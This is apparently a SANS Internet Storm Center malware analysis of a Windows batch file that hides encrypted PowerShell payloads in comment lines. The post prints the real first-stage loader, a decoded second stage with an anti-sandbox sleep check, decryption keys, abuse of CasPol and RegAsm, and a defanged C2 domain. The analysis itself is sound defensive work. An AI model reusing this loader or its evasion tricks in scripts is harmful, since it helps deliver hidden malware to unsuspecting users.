A Batch File With Multiple Payloads, (Fri, Jan 26th)

Category :

SANS Full Feed

Posted On :

Windows batch files (.bat) are often seen by people as very simple but they can be pretty complex or.. contain interesting encoded payloads! I found one that contains multiple payloads decoded and used by a Powershell process. The magic is behind how comments can be added to such files. The default (or very common way) is to use the “REM” keyword. But you can also use a double-colon:

REM This is a comment
:: This another comment

The batch file contains some simple commands hidden in a lot of comments. Let’s extract them:

remnux@remnux:/MalwareZoo/20240125$ grep -v ^:: sextest.bat
copy C:WindowsSystem32WindowsPowerShellv1.0powershell.exe /y “%~0.exe”
cd “%~dp0”

“%~0.exe” -noprofile -ep bypass -w hidden -Command “$eqvEOQH = [System.IO.File]::ReadAllText(‘%~f0’).Split([Environment]::NewLine);$AhOJFzH = New-Object Collections.Generic.List[string];foreach ($JjmEcsD in $eqvEOQH) { if ($JjmEcsD.StartsWith(‘:: 03‘)) { $AhOJFzH.Add($JjmEcsD.Substring(5)); }}$zYkikwZ = $AhOJFzH | Sort-Object { $_.Substring(0, 10) };for ($i = 0; $i -lt $zYkikwZ.Count; $i++) { $zYkikwZ[$i] = $zYkikwZ[$i].Substring(10);}$MKloVOQ = $zYkikwZ -join ”;$MKloVOQ = $MKloVOQ -replace ‘PATH’ ,’%~f0′;%~f0.exe -command $MKloVOQ;”

We see that a copy of the PowerShell interpreter is created in the current malware directory (to not reveal the presence of a PowerShell script being executed.

By checking carefully these comment lines, we can see “patterns”:

:: 040000005744C6xgzXgCznz8sdfrUzK5RQk/LUV957oc2E8WXtveFI9mpR/9Bj
:: 010000000089TYVNnzqps3kLdmWHzsBwxDxAbn0JZz6tvsk3+oEbDG5s0mBZTo
:: 040000007998evIrLrjl+A4H4PdWlNt+RQ0HgDtgR7rCgj4asVtU1WsoQBA5t7
:: 040000000712WaP8gsglyxm1IaVDyArJi7V5QDhp2Ff1a6dFGjqjT8IdP3l4+O
:: 040000008028J3usn7+3nrCn0eDeiYetSpI8iV5CSMo+FlY/vnhybAKPqbbmhM
:: 0400000064413m2lzWNUiuz87jOzmHIZbhtlpmcQiE9LRZ4ixH8G/3CHSFc+Ne
:: 040000007617hqrMGS+9X+qt9JBBA4VPCCxvDk+hx2qCcDzuckAznHxx3yoa2V
:: 010000000112pT9Yvnan3j4Sa6mVYDXlGVHyzlw4ykK2fMXAXpwOrvRiI9wE2O
:: 040000006979OO/L0PTZUfwAGjvekODlmfZl+e0tk6f7Swfn3cz1Wopjg8OjVs
:: 040000001765dKnKxxIXTbbRdCiHXaR87i0qLaaqnIy8ENJwU9JOspP/c/QLuX
Payload ID
Key for sorting
  Base64-encoded payload

The first five bytes identify the payload and the next ten bytes are used to sort the lines and reconstruct the payload. 

As seen in the PowerShell code above, it searches for lines starting with “:: 03”. That’s our first payload. We can easily extract it with a simple shell command:

remnux@remnux:/MalwareZoo/20240125$ grep “^:: 03” sextest.bat |
cut -c “6-” |
sort |
cut -c “11-” |
sets.py join “” |
sed “s/;/;n/g” |
grep -v ^Write

We search for the payload ID (“:: 03”) and remove it, then we sort all lines (based on the key. We remove the key, join all lines, add some carriage returns to beautify the code, and remove all “Write” lines because they pollute our code.

The result is another PowerShell payload

$endTime1 = Get-Date;
$endTime2 = Get-Date;
$elapsedTime = $endTime2 – $endTime1;
Sleep 2;
$endTime2 = Get-Date;
$elapsedTime1 = $endTime2 – $endTime1;
If($elapsedTime -eq $elapsedTime1)
  Write-Host $true;
  Write-Host $false;
$peyMmIfo = [System.IO.File]::ReadAllText(‘PATH’).Split([Environment]::NewLine);
$tvKYRXsXNd = New-Object Collections.Generic.List[string];
$WwGwkLIWKf = New-Object Collections.Generic.List[string];
$TcjSZsRACN = New-Object Collections.Generic.List[string];
$wXJVfJXfQq = New-Object Collections.Generic.List[string];
foreach ($PrMeNolX in $peyMmIfo)
  if ($PrMeNolX.StartsWith(‘:: 01‘))
  if ($PrMeNolX.StartsWith(‘:: 02‘))
  if ($PrMeNolX.StartsWith(‘:: 04‘))
  if ($PrMeNolX.StartsWith(‘:: 05‘))

First, the script implements a simple but effective anti-sandbox technique: It tries to detect if a sandbox is trying to alter the sleep() calls.

Then we see that the PowerShell implements the same technique as the first stage and extracts four new payloads from the original file. Extracted payloads are encrypted. They are processed via a function provided by a DLL called “Tak Tak”:

$decryptfunc = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($LRueORPK)).GetType(‘TakTak.TakTak1’).GetMethod(‘DecryptData’);

Then, payloads are decrypted like this:

$newguy2Byte = $decryptfunc.Invoke($null,@([Convert]::FromBase64String($zkizFrkv),’82ITz5oEl3IQiNVYXobiCseW27qDEJ8x9q61rzupo5w=’,’GK5hjp3Y07IMOh0Ll3+43A==’,1));

Some tool names are also encrypted and the strings are reversed:

$saksaksak = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(‘ZXhlLmxvUHNhQ1w5MTMwMy4wLjR2XGtyb3dlbWFyRlxURU4udGZvc29yY2lNXHN3b2RuaVdcOkM=’));
$saksaksak1= $saksaksak.ToCharArray();
$saksaksak2 = -join($saksaksak1);

$saksaksak2 contains “C:WindowsMicrosoft.NETFrameworkv4.0.30319CasPol.exe”. It’s the Code Access Security Policy Tool provided with the .Net framework[1]. In the same way, $saksaksak5 contains “C:WindowsMicrosoft.NETFrameworkv4.0.30319RegAsm.exe” [2]. 

Once the final payload is launched, the malware connects to its C2 server: mehmetemreural[.]net. It connects through port TCP/443 but it’s not HTTPS, have a look at the capture below:

The batch file VT score remains low (1/60)[3]. The C2 domain has been flagged in a previous Remcos campaign that also used an obfuscated batch file but a different technique.

[1] https://learn.microsoft.com/en-us/dotnet/framework/tools/caspol-exe-code-access-security-policy-tool
[2] https://learn.microsoft.com/en-us/dotnet/framework/tools/regasm-exe-assembly-registration-tool
[3] https://www.virustotal.com/gui/file/3b87198e56c9166ea0ec06db5a91f3373cd299d2be6d088008341fb7801b5027

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.